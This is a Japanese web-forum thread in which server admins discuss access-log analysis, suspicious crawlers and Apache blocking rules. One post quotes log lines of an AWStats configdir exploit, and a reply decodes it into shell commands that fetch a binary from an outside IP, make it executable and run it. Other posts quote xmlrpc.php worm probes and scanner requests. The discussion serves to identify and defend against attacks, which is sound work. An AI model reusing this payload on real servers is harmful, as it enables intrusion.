収集するのなら、手当たり次第にクロールするよりも効率がいい。

>>570
一度に3つのホストから大量に掲示板CGIにアクセスしてくるから辛い。

IPアドレス 61.114.83.*
ホスト名 対応するホスト名がありません
IPアドレス
　割当国　※ 日本 (JP)
都道府県 該当なし
市外局番 該当なし
接続回線 該当なし
非公開鯖なのに数日に渡る連続アクセスうざすぎ
それも何者だよコイツ

galaからのアクセスを遮断したら同じようなUAで同じような挙動のアクセスを繰り返すやつが訪れた件について

別のやつなのかなぁ

>>572
JPNIC の WHOIS で直ちに判明するけど？

Network Information: [ネットワーク情報]
a. [IPネットワークアドレス] 61.114.82.0/23
b. [ネットワーク名] OCT-NET
f. [組織名] 株式会社大垣ケーブルテレビ
g. [Organization] Ogaki Cable Television Co.,Inc.
m. [管理者連絡窓口] MT2103JP
n. [技術連絡担当者] MT2103JP
p. [ネームサーバ] name.ogaki-tv.ne.jp
p. [ネームサーバ] name2.ogaki-tv.ne.jp
[割当年月日] 2000/11/28
[返却年月日]
[最終更新] 2002/02/25 15:52:47(JST)

>>574 さんありがとうございます。
最近サイバーエリアサーチに頼りすぎてました（お恥ずかし・・
しかし、以前にADSLで運営していた頃は自分のアドレスが故に
211.*.*.*218.*.*.*付近などの見知らぬアクセスが多かったのですが
同時に公開先も同じ範囲を動的で使っているんで弾けませんでした。
今度は私も61.*.*.*で鯖プランで運用しているのですが572で記したのを
含む61.*.*.*の見知らぬアクセスが多く、ただ公開先にはいないので
クラス自体を弾こうと思います。
一般公開運営するほど知識がない者なので分かりませんが
スキャンなのかどうか、ログ見ると自分のアドレスの周りからの
アクセスが非常に多いのが気になります。被害はないので構いませんが。

>>575
非公開なんだったら、BASIC認証でもかけたら？

最近、リファラに得ろサイトがやたら出てくるんだけど、何でだろ。

>>576
BASIC認証は親戚や兄弟で共有する個人的な写真とかをうｐしてる
ところにはかけてあります。
トップとかは見られてもフーンくらいで終わっちゃうかもなんで・・
折角$ENV{"REMOTE_USER"}でユーザーごとに遊んでいるんで
トップから認証かけてみますね。

>>577
refererで宣伝してるんだよ。

p1178-ipad83marunouchi.tokyo.ocn.ne.jp からIE/4.0なんてUAできてるけど、これも
SPAM業者かな？

>>580
そうでしょう
http://antispam.blfan.org/exhibit/zenshinkyouA.htm#get-address

本物かどうか分からないけど、こんなのが来た。
Mozilla/4.0 (PSP (PlayStation Portable)

>582
本物なら、そんな頭悪そうな UA 付けないと思う。

括弧の数があってないよｗ

日別でかつページ別でかつ、できればその中で携帯キャリア
別(DoCoMo、vodafone、au)に統計を取れるアクセスログ解析
ツールというものはありますでしょうか。

色々と探してみましたが、フリーはもちろん、有料のものでも
ここまでできるものは見つかりませんでした。

検索能力不足ということも重々承知しておりますが、もしも
良いものがございましたらご教示いただきたい次第です。

乱文ではございますが、宜しくお願いいたします。

OSとか環境を書きなよ。窓なら>>1のを使ってみれば？

有料なら　http://www.sitetracker.jp/ とかいいんでないか？

すみません。
そうですよね。大事なことを書き忘れておりました。

OSはLinux(Redhat9)です。
アクセスログはApache1.3のcommonで取っております。

宜しくお願いいたします。

てきとーなスクリプト書いて必要なログだけ取り出せばええやん。

>>586
ご返答有難うございます。
AnalogやWebalizerのような、サーバ内処理でHTML生成
するようなものをイメージしてましたが、クライアントPCで
解析させる方法もあるんですね。

ログのダウンロードは原則禁止となっているので今回は
できなさそうですが、今後の検討要素として入れておき
たいと思います。有難うございました。

>>587
ご返答有難うございます。
良さそうですね。
ページ別キャリア別に取れるかがキーとなりますが、実際
トライアル版を入れて検証してみたいと思います。

>>589
ご返答有難うございます。
もしも要件を満たすものがなければそのようになる予定です。
とりあえず明日の会議にて各種提案し、決定する流れでご
ざいます。

>>590
といっても実はまだ使ってないので、
もし検証できたら、どんな感じかレポしてみてくださいな。

CommonだとIPアドレスベースで判断かな？
i-modeやezwebはいいがvodaのIPアドレス範囲よくわかんね、俺ｗ

とりあえず色々と見てみて、試せるものは試してみました。
以下、調べたソフトです。

■無料
Analog
Webalizer
Webdruid
Awstats
dopvSTAR*
PPhLogger
ApacheLogViewer

■有料
SiteTracker
WebTrends
Urchin
ClickTracks
AccessProbe
eIQ LogAnalyzer
weblog expert

結果から申し上げますと、「日ごと、ページごと」の集計はできないに
等しいのではないかという結論に至りつつあります。
(例：8月12日：hogehoge.html・・・5757アクセス)

やはり負荷や集計時間等を考えると、無理に近いのでしょうかね。
何とか探したいと連休だけ猶予はもらいましたが、多少諦めモード
はいってます。とにかくもう少し探しています。

>>593 操作端末がWin機だとして >>1 のでできるんじゃね？
ﾛｸﾞを開いて下にある Statics を押下。んで上のﾍﾟｲﾝのﾀﾌﾞはURL、
下は、dayなりHostなりAgentなりを選択すればいいような希ｶﾞｽ。

サイトいじれるなら全ページにSSIで解析ツール埋め込むとか。

Webalizerを使っている方にお伺いしたいのですが、
Total Entry Pagesの部分に、自分の管理していないページが出ているんですが、
（1個だけ、http://www.xxxxxxって出てきてます）これって普通なのですか？
なんかヤヴァイ状況なのですかね？

俺そんなのでないよ。

>>596
来てるよ
Apacheのログ見ると明らかにうちのドメインじゃないリクエストあるし

ただの proxy 探りじゃないの？
生ログあるなら >598 がちゃんと調べてくれ。

単にロボットがHTMLリクエストの組み立てを間違ったんだと思う。
ウチにもときどきある。

まちがった。
×誤　HTMLリクエスト
○正　HTTPリクエスト

ほしゅほしゅ。　UA1.0は来続けていますよー。

> 09/17(SAT)07:35
> 61.124.193.244 (ntchba014244.chba.nt.adsl.ppp.infoweb.ne.jp)
> 1.0

> 09/17(SAT)08:02
> 219.37.72.27 (YahooBB219037072027.bbtec.net)
> 1.0

久々参戦。

RemoteIP 210.173.180.157
UserAgent DoCoMo/2.0 P900i(c100;TB;W24H11)
ていうのから大量アクセスが。きっと UA 偽装だよね。
docomo.ne.jp じゃないのに UA が DoCoMo のやつを拒否することにした。

1.0は相変わらずでございます。
http://chronoflyer.ddo.jp/open/spam_log

＞docomo.ne.jp じゃないのに UA が DoCoMo のやつを拒否することにした。

そういう複雑な条件って、どうやって設定するの？

>>604
mod_rewrite は使えるようになってます？

RewriteCond %{REMOTE_HOST} !docomo\.ne\.jp$
RewriteCond %{HTTP_USER_AGENT} ^DoCoMo
RewriteRule (^.*$) - [F]

ていうルールを追加すればいけます。
末尾に [OR] をつけなければ条件を絞り込めれるので。

http://www.math.tohoku.ac.jp/~kuroki/keijiban/Robots.html
とかを参考に。

mod_rewrite は --enable-rewrite オプションを追加して
Apache をリコンパイルすると使えるようになります。

さくらインターネットが昔やってたやつのようにアカウント毎のPV数をランク化させたいのですが
そういう集計て出来ますか？

例えば　a　と　b　が居たらとりあえずそのアクセスログが欲しいんです。
集計表示は自分で組もうとおもっていますので生ログさえあれば満足なのですがそういう取り方は可能でしょうか。

PV数だけでならば、単にｱｶｳﾝﾄごとのﾛｸﾞﾌｧｲﾙ容量比較をすればよいのでは？

＞例えば　a　と　b　が居たらとりあえずそのアクセスログが欲しいんです。

おいおい、その　a　と　b　ってのは、他　人　なのか？

スミマセン；　後で自分で読み返してみても変な文章でした（汗

>>607
アカウント毎にアクセスログて生成されてましたっけ？

>>608
アカウントAとアカウントBという意味でした＿|￣|○

その後結局LogFormatでApacehにログを生成させるとこまではこぎつけました。
ただ、これはアクセスをひたすら記録するのでアカウント毎の集計が非常に非効率的なことになっています。

home/*/のようにアカウント毎にログが出力できればベストなのですが・・・。

アカウント毎のログは結構需要あるんかな

fgrep '~アカウントA' <logfile>って事じゃないのよね？

>>609
>>1のApacheLogViewerじゃ駄目なの？

ランク化だけなら webalizer でもできるが。
http://www.ahref.org/webalizer.html

ごめん。集計表示は自分で組みたいのね。失礼

>>609
>>1のサポートBBSでこんな回答を見つけたけど、どうだろ。

> 【185-1】 Re: 直接リンク Referer の除外設定
> 2005/10/01 17:29 ▽ Circle 〔Home〕
>
> Apacheのログを分類して記録したい、ということであれば
> 下記のサイトが参考になると思います。
> http://shattered04.myftp.org/pc_25.html
> http://httpd.apache.org/docs/1.3/mod/mod_setenvif.html
>
> ApacheLogViewerでフィルターをかけたい、ということなら、
> 残念ながら、今のところそういう機能はありません。

SetEnvIf と CustomLog を使えば静的には分割できるけど
動的（？）にはたぶん無理だよね

んと、アカウント毎にサブドメインでVirtualHost設定し、各ユーザディレクトリにログを吐かせる。
それを利用するのが一番簡単なんじゃないかな？って事。
ログのファイル名は、
CustomLog "|/usr/local/sbin/rotatelogs /home/*****/log/httpdaccess-%Y%m%d.log 86400 540" combined
とかそんな感じで。

外してる？

連続ｽﾏｿ
上記はFreeBSDでの例

xamppならデフォでwebalizerがapacheなどとともにインスコされるそうだ
http://pc8.2ch.net/test/read.cgi/mysv/1128262593/

yahoobb221079171017.bbtec.net　がユーザーエージェント無しで
HEAD メソッドだけでアクセスを繰り返してくるんだけど
なんじゃろか。リファラはあり。

　__∧＿∧_
　|（　　＾＾ ）|　＜寝るぽ（＾＾）
　|＼⌒⌒⌒＼
　＼ |⌒⌒⌒~|　　　　　　　　　山崎渉
　　 ~￣￣￣￣

　__∧＿∧_
　|（　　＾＾ ）|　＜寝るぽ（＾＾）
　|＼⌒⌒⌒＼
　＼ |⌒⌒⌒~|　　　　　　　　　山崎渉
　　 ~￣￣￣￣

謎の1.0は去年の今頃がピークで、今年に入ってからだいぶすくなくなったから、あまり気に
とめていなかった。
11日にアップしたファイルにもう1.0のアクセスがあったのには、ちょっと驚いた。まだ、新規に
アクセス先を開拓してるんだ。アクセス元はc-able.ne.jp。

少々スレ違いかもしれないが、最近 Inktomi の Yahoo!Slurp が
中国からもアクセスしてくるようになったことに気付いた。
最初はUA詐称かとも思ったが、ホスト名が lj9***.inktomisearch.com
（IP アドレスは 202.160.180.*）だから本物のようだ。

最近、下記のアクセスがたまにあるんですがなんなのでしょうか？
GET /awstats/awstats.pl configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%2024%2e224%2e174%2e18%2flisten%3bchmod%20%2bx%20listen%3b%2e%2flisten%20216%2e102%2e212%2e115;echo%20YYY;
　echo| - 213.138.194.25 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.1;) - - 404 0 3
GET /cgi-bin/awstats.pl configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%2024%2e224%2e174%2e18%2flisten%3bchmod%20%2bx%20listen%3b%2e%2flisten%20216%2e102%2e212%2e115;echo%20YYY;
　echo| - 213.138.194.25 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.1;) - - 404 0 3
GET /cgi-bin/awstats/awstats.pl configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%2024%2e224%2e174%2e18%2flisten%3bchmod%20%2bx%20listen%3b%2e%2flisten%20216%2e102%2e212%2e115;echo%20YYY;
　echo| - 213.138.194.25 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.1;) - - 404 0 3
POST /xmlrpc.php - - 213.138.194.25 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.1;) - - 404 0 2
POST /blog/xmlrpc.php - - 213.138.194.25 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.1;) - - 404 0 3
POST /blog/xmlsrv/xmlrpc.php - - 213.138.194.25 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.1;) - - 404 0 3
POST /blogs/xmlsrv/xmlrpc.php - - 213.138.194.25 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.1;) - - 404 0 3
POST /drupal/xmlrpc.php - - 213.138.194.25 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.1;) - - 404 0 3
POST /phpgroupware/xmlrpc.php - - 213.138.194.25 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.1;) - - 404 0 3
POST /wordpress/xmlrpc.php - - 213.138.194.25 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.1;) - - 404 0 64
POST /xmlrpc.php - - 213.138.194.25 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.1;) - - 404 0 2
POST /xmlsrv/xmlrpc.php - - 213.138.194.25 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.1;) - - 404 0 3

>>623
1行目のconfigdir=以下をURL decodeすると、
---
echo
echo YYY
cd /tmp
wget 24.224.174.18/listen
chmod +x listen
./listen 216.102.212.115
echo YYY
echo
---
となる。awstatsの脆弱性をついて、何か仕込もうとしたと思われ。

http://sourceforge.net/tracker/?group_id=13764&atid=113764
↑ここに無いとすれば、未発見の脆弱性の可能性もあり。

"awstats configdir vulnerability"をキーワードにしてぐぐったら
沢山見つかった。どうやら既知の脆弱性らしい。

http://www.google.co.jp/search?hl=ja&c2coff=1&q=awstats+configdir+vulnerability&spell=1

最新版を使っていれば多分大丈夫と思われるが、自分でも調べた方が
いいぞ。
＃漏れは使ってないので、これ以上は面倒だから...

ちょっと気になったので、xmlrpc.phpの方もぐぐって見たら、
こっちでも一杯ひっかかる。気になったのはこれ：
http://izumino.jp/Blog/index.php?UID=1131275746

XML-RPC for PHP の脆弱性を突いた攻撃だってさ。
現在進行形のようだよ。

漏れの鯖にも似たようなエラーログが山のようにあった。
こりゃunix向けwormかねぇ？

% egrep 'xmlrpc|configdir' /var/log/httpd-dummy.error.log
[Wed Nov 09 03:07:39 2005] [error] [client 64.81.144.43] script '/usr/local/www/data-dist/xmlrpc.php' not found or unable to stat
[Wed Nov 09 03:07:47 2005] [error] [client 64.81.144.43] script '/usr/local/www/data-dist/xmlrpc.php' not found or unable to stat
[Wed Nov 09 03:07:50 2005] [error] [client 64.81.144.43] File does not exist: /usr/local/www/data-dist/xmlrpc
[Wed Nov 09 07:53:52 2005] [error] [client 203.208.241.87] script '/usr/local/www/data-dist/xmlrpc.php' not found or unable to stat
[Wed Nov 09 07:54:00 2005] [error] [client 203.208.241.87] script '/usr/local/www/data-dist/xmlrpc.php' not found or unable to stat
[Wed Nov 09 07:54:02 2005] [error] [client 203.208.241.87] File does not exist: /usr/local/www/data-dist/xmlrpc
[Thu Nov 10 16:33:40 2005] [error] [client 210.183.235.133] script '/usr/local/www/data-dist/xmlrpc.php' not found or unable to stat
[Thu Nov 10 16:33:48 2005] [error] [client 210.183.235.133] script '/usr/local/www/data-dist/xmlrpc.php' not found or unable to stat
[Thu Nov 10 16:33:51 2005] [error] [client 210.183.235.133] File does not exist: /usr/local/www/data-dist/xmlrpc
[Fri Nov 11 05:55:59 2005] [error] [client 193.91.48.251] script '/usr/local/www/data-dist/xmlrpc.php' not found or unable to stat
[Fri Nov 11 05:56:08 2005] [error] [client 193.91.48.251] script '/usr/local/www/data-dist/xmlrpc.php' not found or unable to stat
[Fri Nov 11 05:56:10 2005] [error] [client 193.91.48.251] File does not exist: /usr/local/www/data-dist/xmlrpc
[Fri Nov 11 06:45:09 2005] [error] [client 62.27.37.130] script '/usr/local/www/data-dist/xmlrpc.php' not found or unable to stat
[Fri Nov 11 06:45:18 2005] [error] [client 62.27.37.130] script '/usr/local/www/data-dist/xmlrpc.php' not found or unable to stat
[Fri Nov 11 06:45:20 2005] [error] [client 62.27.37.130] File does not exist: /usr/local/www/data-dist/xmlrpc

624様、ありがとうございました。
PHPは使っていないのでＯＫかな。
ついでにリンク先にあったExchangeServer2003SP2をダウンロード。

おれんとこにもxmlrpc.phpのログが鬼の様にあってここに辿り着きました。
php解放しとかなくてよかった、、、、、

確かにphp＆awstats関連の攻撃が多いなぁ。
とりあえずawstats置いてるディレクトリを変えてパスワード要求するようにしといたんだけど。不安だ。

favicon.ico取る時だけUAにゴミが入るブラウザが
最近増えたような気がする。

>>569
ボットが　*.em.gala.jp　なので半年くらい前に 210.131.159.128/25　で
denyしつつ、Blogでコキ降ろしておいたんだが、ふとアクセスログ見たら、
*.nat.gala.jp　の社員さんが検索エンジン経由でご訪問。
210.249.156.192/26 追加、っとｗ

>>632
galaからのアクセスはじいたら、同じような傾向
（UserAgentとか、deflate／gzip圧縮転送に対応してない感じとか、アクセスパターンとか）
のアクセスが他のホスト（ocnやnttpcといった一般のプロバイダ）からあったんですけど、
>>632さんのところはどうですか？

>>631
それLunascapeじゃなかったかな。
しかも下層のディレクトリのfaviconにまでアクセスしようとする。

>>633
うちはそういうのないなー。
ただ一般のユーザーと同じホストネーム（*marunouchi.tokyo.ocn.ne.jpみたいな）
利用してるなら気付いてないだけかも。
少し気をつけてチェキしてみる。

アクセスログを見てたら、「*.em.gala.jp」という足跡（ホスト名）が幾つかありましてね。

ポリシーもなにも掲げてないからキモイんだよな。

zia-httpmirror/1.140 っていうUAを名乗るロボットがきた。
ディレイも無く再帰的に根こそぎアクセスしよる。
ぐぐっても配布元とかの情報が見つからないや。

検索してみたが zia-httpmirror 評判悪いねｗ
ホストは *dyn.optonline.netなの？
予防的に弾いておくかな…。

BecomeBot、ロボットのくせにリファラを吐いている・・・
おかげで、今まで知らなかったリンク元がいくつも分かったよ。

BecomeBotも最近うるさいな。
robots.txtで弾こう…。
どうせ日本語サイトにゃ関係ない。

おたくの会社から攻撃されてるって言われて、このアクセスログを渡されたんだが・・・。

[Tue Jan 17 16:37:25 2006] [error] [client XXX.XX.XXX.XXX] (63)File name too long: access to /forum/taxonomy/term/1/0/taxonomy/term/taxonomy/0/taxonomy/term/taxonomy/0/taxonomy/term/taxonomy/0/taxonomy/term/taxonomy/0/taxonomy/term/taxonomy/0/feed failed
こんなのが異常にあるんだと。

ちなみに、相手先がdrupalというCMS使ってるだが、それの不具合なんじゃないのかな・・・

おたくの会社が踏み台にされてるか、本当の攻撃元がIP偽っているか
どっちか。

>642-643
それapacheか何かのweb serverのログだろ？
TCPでIPアドレス偽装するのはかなり大変だから、踏み台にされている
に一票。

galaからのアクセスがいっぱい来てる人はメール送れば巡回から外してくれるみたいだぞ。
http://netabbs.info/test/read.cgi/rinji/1092583700/215-

一応、会社調べたら、Googleデスクトップ使ってる奴がアクセスしている事がわかった。
見たサイトのRSSを勝手に拾って画面に出力する機能が絶えずRSSを拾いに言っているらしい。
攻撃されてると言ってるトコのサイト見てたら、フィードがループするようなページの作りの箇所があるんだが・・・。

CDにダウンロードしてあるログを解析するには
どのようなソフトを使えばいいんですか？
何か1万件くらい入ってるらしいんですが。

>>647
何のログだ

>>648
どこぞの企業のアクセスログです。
HPに組み込んで解析するソフトは扱ったことがあるんですが
CDに落としたものを解析するにはどうするかがわからないんです。

>>649
おまえのしたい事がわからないんです。

>>650
どうも上手く説明できそうにないんで
自力でなんとかやってみます。
お手数かけました。

>>1を読めばわかるだろ？

http://www.vector.co.jp/vpack/filearea/winnt/net/www/host/index.html
http://www.vector.co.jp/vpack/filearea/win95/net/www/host/index.html

結局自力ではできませんでした…

ApacheLogViewerは使ってみたんですが
「このファイルは読み込めません」みたいなこと表示されるんですよ。
そもそもこのログデータ見やすく処理されてて生ログじゃないんです。
csv形式になっていてエクセルで開かれるんです。
こういうのもApacheLogViewer、analogなどで解析・集計できるんですか？

ここはPC初心者板じゃないですよ

そろそろコンサルタントでも雇う気になったらどうだ？

>>647
ﾊﾞｶは来るなよｗ

つーか、それはある程度解析されたデータなんじゃないかと。

じゃあエクセルで解析すれば良いではないですか

sageでこれだけ続くとは
更新チェック先に入れてる人結構多いな

UA1.0の時に入れました

漏れもUA1.0の時に入れました。見に来たのは久々だけど。
しかしまだUA1.0続いてるんだね。そして未だに原因不明なのか…?

最近でたらめなリファラが付いた1.0が時々来るな…

logrotateでfilename.1.gzのようなファイル名になりますが、1の部分をローテーとした日付にする方法を教えてください

ルーク、telnetしてmvを使え。

>664
つ [cronolog]

1.0 、未だにコンスタントに届くな。
やっぱり日本国内の各地から……・。

10分置きにRSSチェックにくるの勘弁。
個人サイト相手に10分間隔ってDOS攻撃かよ、と突っ込みたくなる。

悪意のない初心者ユーザーなんだろうから、余計にやりにくい…。
法人ホストなら遠慮くなく弾くんだけどなぁ…。

自意識過剰すぎ
1秒に10回ならともかく10分一回でなんでDoSなんだ？ｗ
目つぶっと毛

503出して一時的に叩き落せばいいじゃん？

読解力のないアホがいる。

そういや
XXXX://++++++++++++++++++++......
っていうリファラ送ってくるヤツがいて
ログが激しく見辛かった事があったのを思い出した。

10分置きｗ
1人しかRSSチェッカーに登録してないってことだね

生ログをApacheLogViewerで開こうとしてるんですが、
ログファイルが2.2GBもあるもんでApacheLogViewerで
エラーが出てしまいます。
ログファイルを分割してApacheLogViewerで開いたほうが
いいと思うんですが、何かいい方法ないでしょうか？

>>674
ログファイルを分割してApacheLogViewerで開いたほうが
いいと思う。

いや、まじで。

その分割する方法を教えてほしいんだが。

>>674
rotatelog

既にやっちゃった物ならsplitコマンドで別ければ？

>>673
どういう解釈？

http://www.google.co.jp/search?hl=ja&q=219.153.18.&btnG=Google+%E6%A4%9C%E7%B4%A2&lr=lang_ja

219.153.18.xから頻繁にポートスキャンがあるのだが…

>>680
うざい国からのアクセスを全て遮断
http://pc8.2ch.net/test/read.cgi/mysv/1118726898/

n1.210-188-228-11.mixi.jp - - [18/Apr/2006:20:15:53 +0900] "GET /a1b2c3d4e5f6g7h8i9/nonexistentfile.php HTTP/1.0" 404 232 "-" "-"
n1.210-188-228-11.mixi.jp - - [18/Apr/2006:20:15:53 +0900] "GET /adxmlrpc.php HTTP/1.0" 404 206 "-" "-"
n1.210-188-228-11.mixi.jp - - [18/Apr/2006:20:15:53 +0900] "GET /adserver/adxmlrpc.php HTTP/1.0" 404 215 "-" "-"
n1.210-188-228-11.mixi.jp - - [18/Apr/2006:20:15:53 +0900] "GET /phpAdsNew/adxmlrpc.php HTTP/1.0" 404 216 "-" "-"
n1.210-188-228-11.mixi.jp - - [18/Apr/2006:20:15:53 +0900] "GET /phpadsnew/adxmlrpc.php HTTP/1.0" 404 216 "-" "-"
n1.210-188-228-11.mixi.jp - - [18/Apr/2006:20:15:53 +0900] "GET /phpads/adxmlrpc.php HTTP/1.0" 404 213 "-" "-"
n1.210-188-228-11.mixi.jp - - [18/Apr/2006:20:15:53 +0900] "GET /Ads/adxmlrpc.php HTTP/1.0" 404 210 "-" "-"
n1.210-188-228-11.mixi.jp - - [18/Apr/2006:20:15:53 +0900] "GET /ads/adxmlrpc.php HTTP/1.0" 404 210 "-" "-"
n1.210-188-228-11.mixi.jp - - [18/Apr/2006:20:15:53 +0900] "GET /xmlrpc.php HTTP/1.0" 404 204 "-" "-"
n1.210-188-228-11.mixi.jp - - [18/Apr/2006:20:15:53 +0900] "GET /xmlrpc/xmlrpc.php HTTP/1.0" 404 211 "-" "-"
n1.210-188-228-11.mixi.jp - - [18/Apr/2006:20:15:53 +0900] "GET /xmlsrv/xmlrpc.php HTTP/1.0" 404 211 "-" "-"
n1.210-188-228-11.mixi.jp - - [18/Apr/2006:20:15:53 +0900] "GET /blog/xmlrpc.php HTTP/1.0" 404 209 "-" "-"
n1.210-188-228-11.mixi.jp - - [18/Apr/2006:20:15:53 +0900] "GET /drupal/xmlrpc.php HTTP/1.0" 404 211 "-" "-"
n1.210-188-228-11.mixi.jp - - [18/Apr/2006:20:15:53 +0900] "GET /community/xmlrpc.php HTTP/1.0" 404 214 "-" "-"
n1.210-188-228-11.mixi.jp - - [18/Apr/2006:20:15:53 +0900] "GET /blogs/xmlrpc.php HTTP/1.0" 404 210 "-" "-"
n1.210-188-228-11.mixi.jp - - [18/Apr/2006:20:15:53 +0900] "GET /blogs/xmlsrv/xmlrpc.php HTTP/1.0" 404 217 "-" "-"
n1.210-188-228-11.mixi.jp - - [18/Apr/2006:20:15:54 +0900] "GET /blog/xmlsrv/xmlrpc.php HTTP/1.0" 404 216 "-" "-"
n1.210-188-228-11.mixi.jp - - [18/Apr/2006:20:15:54 +0900] "GET /blogtest/xmlsrv/xmlrpc.php HTTP/1.0" 404 220 "-" "-"
n1.210-188-228-11.mixi.jp - - [18/Apr/2006:20:15:54 +0900] "GET /b2/xmlsrv/xmlrpc.php HTTP/1.0" 404 214 "-" "-"
n1.210-188-228-11.mixi.jp - - [18/Apr/2006:20:15:54 +0900] "GET /b2evo/xmlsrv/xmlrpc.php HTTP/1.0" 404 217 "-" "-"
n1.210-188-228-11.mixi.jp - - [18/Apr/2006:20:15:54 +0900] "GET /wordpress/xmlrpc.php HTTP/1.0" 404 214 "-" "-"
n1.210-188-228-11.mixi.jp - - [18/Apr/2006:20:15:54 +0900] "GET /phpgroupware/xmlrpc.php HTTP/1.0" 404 217 "-" "-"

なんだろ？

xmlrpc.phpを狙うワーム（Linux/Lupper.wormとか）にmixi内のPCが感染したと考えるのが素直

inktomisearch.comが意味不明な引数つけてGETしてくるんだけど
なんででしょ？
index.php?hoge
とか
index.php?i=y1111&server=hoge
とか

別にそれでも普通に見れるんだけど

どこかでそういうリンクがあるんじゃないの？

>>685
レス�d

うちだけじゃなかったようで、こんなん出ました。

http://www.alltheweb.com/search?cat=web&cs=utf8&hits=50&q=i%3Dy1190%26server%3DSirius%26l%3Doffa+
http://www.alltheweb.com/search?cat=web&cs=utf8&hits=50&q=main%3Dview%26select%3Dw4%26server%3DCanopus
http://www.alltheweb.com/search?cat=web&cs=utf8&hits=50&q=main%3Dview%26select%3Dy9%26server%3DRigel+


　・・(ﾟдﾟ)・・？

GET /thisdoesnotexistahaha.php って何だろう？
http://www.google.co.jp/search?num=100&hl=ja&q=%22GET+%2Fthisdoesnotexistahaha.php%22

存在しないよアハハ

ここが参考になった。
http://www.webmasterworld.com/forum39/3836.htm

サーバーログにwww.gigablast.comがあってこれをアクセス拒否したいのですが、
whoisでIP調べて.htaccessに
order allow,deny
allow from all
deny from 66.154.102.171
と記述したのですが、翌日以降もstatusコード200となっていて正常にアクセスしてきています。
どうすれば拒否出来ますか？

gigablast.com
ではじけばいいじゃn

これって何？

68.78.88.185 - - [15/May/2006:09:52:37 +0900] "GET /w00tw00t.at.ISC.SANS.DFind:) HTTP/1.1" 400 398 "-" "-"

ぐぐれ
http://www.google.co.jp/search?q=%22w00tw00t.at.ISC.SANS.DFind%22

ホスト名ではじくと負荷がかかる（らしい）のでIPアドレスではじきたいんです。
思うにホスト名が同じでもIPアドレスだけ変化しているんだと思うんです。
使っているIPアドレスの範囲ってどうやって調べればいいんでしょうか？

ipでwhois

InfoRelay Online Systems, Inc. ASSERTIVE-66-154-100-0-22 (NET-66-154-100-0-1)
66.154.100.0 - 66.154.103.255
Gigablast, Inc. GIGABLAST-SJC-1 (NET-66-154-102-0-1)
66.154.102.0 - 66.154.103.255
ASSERTIVENET ASSERTIVENETWORKS (NET-66-154-96-0-1)
66.154.96.0 - 66.154.127.255

# ARIN WHOIS database, last updated 2006-05-14 19:10
# Enter ? for additional hints on searching ARIN's WHOIS database.

>>693
当然先にぐぐっているが、誰がどういう意図で残したものかを解説しているところは見つからなかった。
単なる脆弱性さがしなら、こんなメッセージを残す意味ないでしょ？

WebAlizerですが、特定のディレクトリへのアクセスはカウントしない方法はありますか？

695ありが�d

>696
日本語の検索結果だけ見てる？

> 単なる脆弱性さがしなら、こんなメッセージを残す意味ないでしょ？
　　　　　　↑
ごめん。意味わからん。

>>699
頭悪いんだな

>>700
漏れも頭悪いんで解説して

漏れ漏れも

http://www.atlink.it/~conti/2006/03/04/w00tw00tatiscsansdfind-update/

脆弱性発見ツールだね。
といっても、攻撃するためのツールじゃなくて、
攻撃されないように自分の弱点を予め洗い出すためのツール。
だから明確な足跡を残すんだよ。隠す必要ないから。

保守ってみる

亀レス>>697
webalizer.conf で HideURL を設定すればいいんじゃない？

しかしまあ
力の限りアクセスしまくってくるプリフェッチャは( ﾟдﾟ)ｺﾏﾙ
数秒ディレイを設けてください。

awstats?config=www2
って指定することがようやく分かった。
マニュアルで見つけられなかった。
ところで、 awstats ってそれ自体には認証ないの？
しょぼいけど htpasswd でのBASIC認証でも掛けとくかな。

>706
常に脆弱性が見つかっているawstatsに、認証を任せるのは無意味。
あえてapacheにやらせるべき。

フォルダ名をパスワードみたいにしとけば良いんじゃないの？

(ﾟдﾟ)？

たしかにねー、何らかの文字を入力せにゃならんてことでは
BASIC認証と大差ない気がしないでもないけど、
どこかにリンクでも貼った日にはリファラが・・・・

ログ見てて気付いたが、NAVER検索って終了した筈なのにボットは生きてるのか。
本国のボット…？

Lunascape は favicon 取る時に USER_AGENT にゴミを吐くのを直して欲しいぞ。

多段proxyのログ解析に良いフリーソフトありまつか？

さっきさらした画像の直リンクURLへのアクセスログ見てて思ったんだが、
IE6とか7ってURLのディレクトリ部分までをrefererに吐くのか?
それとも何かのツールなのか。
URLそのままrefererに入ってるのもあるなぁ・・・

UA: Robo Crawler 6.4.5 ([email protected])
について何か知ってる人いない？

メールして聞いてみれば？

Delivery Status Notification (Delay) x2
Delivery Status Notification (Failure)
ですた。

robots.txtにリクエストはあるが、
User-Agent: robocrawler
には反応せず

うちに来たのは
216.255.229.231
216.255.229.233

全てのファイル、リンク先を根こそぎクロールする
softbankを騙ってるような気が・・

そのＩＰアドレスは日本テレコムに割り当てられているから
確かに禿んとこだよ。

推測と事実を混同すんなよ。

>>718
確かにwhoisでIDCにはなってるけどさ・・

Naverだったりして・・・　あそこは Google を騙ったことすらあるからねぇ。

・巨人Naverの日本再上陸作戦--新兵器“韓国のGoogle”とは・・・ - CNET Japan
http://japan.cnet.com/column/korea/story/0,2000067066,20192148,00.htm
こんな記事があった。
安心したらダメだ、気をつけよう。
1noon って気持ち悪いボットだなと前から弾いてたが、お仲間だったのか…。

> User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)

こんなアホなUAを返してくる掲示板spammerがいた（笑）。
（"User-Agent: "も含めたUAを名乗ってきている）

SetEnvIfNoCase User-Agent "^user-agent" forbidden

<Files *>
order allow,deny
deny from env=forbidden
allow from all
</Files>

MSBlasterの亜種からのアクセスが未だに来るね。

